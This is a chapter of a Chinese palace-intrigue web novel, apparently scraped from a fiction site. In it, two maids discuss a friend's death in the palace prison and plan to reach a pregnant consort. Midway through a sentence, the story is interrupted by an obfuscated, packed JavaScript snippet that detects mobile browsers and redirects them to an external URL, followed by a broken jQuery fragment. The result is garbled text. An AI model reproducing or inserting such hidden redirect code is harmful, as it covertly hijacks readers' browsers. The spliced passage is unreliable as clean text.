37. 第37章

作品:《爱上表姐的意中人

    一门之隔就是阿姐,未免惊扰,尤清音拉过惊惧过甚丢了魂的蓝蕊,心头又急又怒,面上没显露,轻声问她:“方才进去,可吓到娘子了?”


    蓝蕊木讷地摇了摇头,眼睛看着尤清音,这才反应过来,抓着尤清音的手,说话时几乎哭出来:“阿音,你为何瞒着我?娘子如今模样,你、你为何瞒着我!若早知娘子如今境况,我、我还不如……”


    “不如什么?”


    尤清音问她:“不如将计就计,帮着景福台去害邵娘子,投诚换个出去的机会?”


    “蓝蕊姐姐若如此想,现在去投诚也不晚。”


    言罢,尤清音侧身给她让路。


    蓝蕊最怕去掖庭,怕的要死,怕到俞思刚一住进行云阁,她就四处找机会寻出路。


    自求出路当然没错,只是要从行云阁出去并非易事,这几年她想过不少法子,求过不少关系,全都无疾而终。唯有前段时间,她在景福台当差的小姐妹递了消息过来,说景福台因着邵美人新孕,各处都忙,这才给了她机会出去帮忙。


    却没想到,这机会是景福台留着害人的。她自投罗网,险些成了替罪冤魂。


    蓝蕊红了眼眶,方才一时嘴快说错话,听了尤清音的话又回过神,哽咽道:“我没有,我没有……只是、只是早知娘子病重至此,我总要给自己想条出路的。”


    “阿音,”蓝蕊的眼泪扑簌簌地往下掉,“我不想去掖庭,我不要去掖庭,真的不能去……”


    眼泪一掉,蓝蕊几乎失控,说话声音渐渐大起来。尤清音见状,忙拉她往长廊去,心里被她哭得又怒又烦,走了几步停下来,“娘子如今尚在,哭成这样做什么?”


    被尤清音气势吓到,蓝蕊抽搭一声后立马憋住,尤清音又好脾气哄她:“娘子病中需要静养,有什么话,我们去姐姐房中商议。总归山无绝路,何必自己吓自己,无事先把自己哭死了。”


    蓝蕊收了哭声看她,一时脑中昏溃,只顾得点头。


    在行云阁,确切说是在俞娘子身边,尤清音一直是那个年少乖巧,又带着几分执拗傻气的宫女阿音,蓝蕊习惯轻视她,使唤她,冷嘲热讽惯了,如今猛地见她这般成熟稳重,与她年纪极为不符,心底一时有点怕。


    等穿过长廊,走到自己值房门口时,蓝蕊才后知后觉想起来,其实自邵美人的事情开始,她所见到阿音,就与之前大不一样了。


    说不出来是忽然长大了,还是她从来就非呆傻憨气之人。


    心里恐惧若俞娘子突然病故,自己要被押去掖庭,蓝蕊顾不上深想,忙开了门让尤清音进去。


    这是尤清音第二次进到蓝蕊房中,上次进来还是因着邵美人之事。这回青天白日,倒是能将房内情形看个清楚。


    屋内一张床一套桌椅,靠墙木柜旁有个小木箱,上面加了大大一把锁。蓝蕊走在前面,从桌下抽了两张凳子出来,两个人面对面坐下,屋内一时无言。


    还是尤清音先开了口:“我同姐姐讲过,娘子病中不可打扰,也不要进卧房,怎么今日偏要进去?”


    蓝蕊躲开她的眼神:“今晨端水过去时见你哭过,我心里实在不安,这才趁着你出去,想着进去看看……”


    一想起俞娘子躺在床上那副模样,极度瘦削和惨白,尤其当那双深陷暗淡的眼睛看过莱时,阴森又鬼魅,蓝蕊只觉后怕,又抬眼看向尤清音:“若我今日没亲眼看到,岂不是……”


    若没看到俞娘子如今模样,岂不是哪日稀里糊涂就要被押到掖庭去。


    蓝蕊是这样想的,但看着尤清音脸色越发难看,忍着没说出口,“阿音,你当真不怕去掖庭吗?你这样年少,才十五岁,还有大把年华,当真就不为自己的以后打算吗?”


    “不怕,”尤清音直直看着她的眼睛,没有丝毫犹豫,“去掖庭又如何?我绝对不会离开娘子的。”


    “傻瓜。”


    蓝蕊嗤笑一声,看她的眼神满是悲哀和鄙夷,齿缝挤出一句:“你什么都不知道。”


    尤清音愿意听她说下去,冷静下来后,心头对蓝蕊擅自进阿姐卧房的愤怒平息,已有了另一番筹算。


    事已至此,蓝蕊也索性全都讲给她听:“你没见过掖庭的残忍,自然不觉得怕,若你亲眼见过掖庭会怎么摧残一条活生生的人命,不信你不怕。”


    “从前宫中有位阮才人,入宫后身子就不大好,也因此并不受宠。阮才人身边有位贴身侍女叫莲儿,大我五岁,与我关系极好。”


    “我与莲儿姐姐一同入宫,又是同乡,自然很快亲近。宫中生活艰难,初进宫时学规矩更是日日想死,尚宫局的姑姑们严苛的很,稍有错处便要毒打,打到不敢再错,打的我们见到棍子就抖,奉茶下跪,一丝一毫都不敢再错。”


    想起初进宫的艰难,蓝蕊垂眸,泪光在闪,“我十一岁进宫,每每挨打过后,晚上都要抱着莲儿姐姐哭,怨怪父母送我进宫,恨父母生我养我,又要送我进宫受磋磨。莲儿姐姐心疼我,她人又乖巧懂事,嘴甜勤快,每每帮姑姑们做事得了什么赏赐,她都攒着分我一些,哄我别哭。”


    “后来我们终于可以出去当差,莲儿姐姐去了阮才人宫中,我劝过姐姐很多次,劝她早日另寻出路,阮才人体弱多病又不受宠,若是哪日不吉,我只怕姐姐入了掖庭,不知什么时候才能出来。可是莲儿姐姐却不肯,她说阮才人心善又温柔,说她没有主子架子,待她像是亲姐妹,她不肯丢下她另谋出路,又说阮才人可怜,只怕她若走了,换人去照顾不够尽心,怎么也不肯听我的。”


    “那时候,我也不知掖庭究竟如何可怖,只记得尚宫局的姑姑说过,若是犯错入了掖庭,这辈子算是看到头了。”


    “我怕莲儿姐姐去掖庭,可她最终还是去了掖庭。阮才人体弱,有一年冬日极寒,上京下了十几日的暴雪,阮才人没撑过去,死在雪停的前日夜里。莲儿姐姐在她床前侍奉到最后一刻,没等天亮就被人拖去掖庭……”


    说到此处,蓝蕊语带哽咽,大大一颗眼泪砸在桌上,啪嗒一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15058706|157331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声极为响亮,尤清音都吓了一跳。


    蓝蕊抬手用力抹了一把泪,“莲儿姐姐去了掖庭不过十日,就、就被丢到了乱葬岗!”


    记忆的痛与怕,从来都很清晰。即便刻意去遗忘,可是乱葬岗中,莲儿姐姐的模样早已刻进骨血中。


    蓝蕊闭眼,心痛至极:“我听了消息,即便明知被抓到就是死路一条,还是偷偷溜出去,在乱葬岗找到了莲儿姐姐。”


    “我看到、看到莲儿姐姐躺在那儿,全身都是血,都是伤,就连……就连脸上都全是刀伤,衣裳都被血染透了。”


    “我都、我都不知道……”


    蓝蕊掩面:“我都不敢想,莲儿姐姐究竟受了多少折磨……”


    尤清音从腰间取出手巾递给她擦泪,“亲如姐妹的朋友惨死,你没想过替她报仇吗?”


    蓝蕊接过手巾时一愣,只觉听了什么天方夜谭:“在宫中报仇?凭我这样的小宫女?”


    话说出口,尤清音也觉自己突兀。


    是啊,宫中死人最是寻常。不过死个无关紧要的宫女,只管往乱葬岗一扔,只要上头无人发问,底下的人,又有谁会追究,谁敢追究?


    面对哭花了脸的蓝蕊,尤清音心有戚戚,知道了蓝蕊为何如此恐惧去掖庭,语气也比之前软了不少:“蓝蕊姐姐别怕,你不会去掖庭的。”


    蓝蕊瞪大了眼睛看她。


    尤清音又道:“只要你能帮我一个忙,我定能保你不去掖庭。”


    十五岁的小宫女信誓旦旦担保说她不会去掖庭,蓝蕊不大相信,可眼下也没有别的法子,小心翼翼道:“你要我帮什么忙?”


    “帮我见到邵美人。”


    “什么?”


    蓝蕊险些以为自己听错,“你又不是不知道,景福台如今戒严,我如何能让你见到邵美人?”


    尤清音挪了下凳子与她更近:“你在景福台有认识的人,定能想到办法。我有话一定要告诉邵美人,只要你让我见到邵美人,我定能求她给你个差事。若你能去景福台或是别处当差,自然就不用去掖庭了。”


    这话实在太让人心动。蓝蕊低头想了想,半晌才低低道:“那、那我想想办法。”


    从蓝蕊房中出来,尤清音走上长廊。走过一半时,长廊风起,夏风闷热像烧红的烙铁,一下又一下拍在尤清音身上。


    她停下来,静静站了一会儿,抬眼看向层叠宫檐,上头瑞兽林立,个个龇牙咧嘴凶相毕露。


    尤清音立在廊下,身处不可逾越的宫墙之中,明州的雨,河阳的家,都遥远到好似前世。蓝蕊讲的故事被她记在心里,怕肯定怕,可更多的,还是恨。


    她恨这里的一草一木,恨这个吞噬人命的宫城,恨这里每一个麻木隐忍的人……


    闷热的夏风终于停了一瞬,尤清音整理好神色,尽力撑出个轻松表情,才往阿姐卧房去。


    轻轻推开卧房的门,刚走到屋内桌边,就见地上碎了一地的瓷片,混着四处倾洒的白粥,一片狼藉。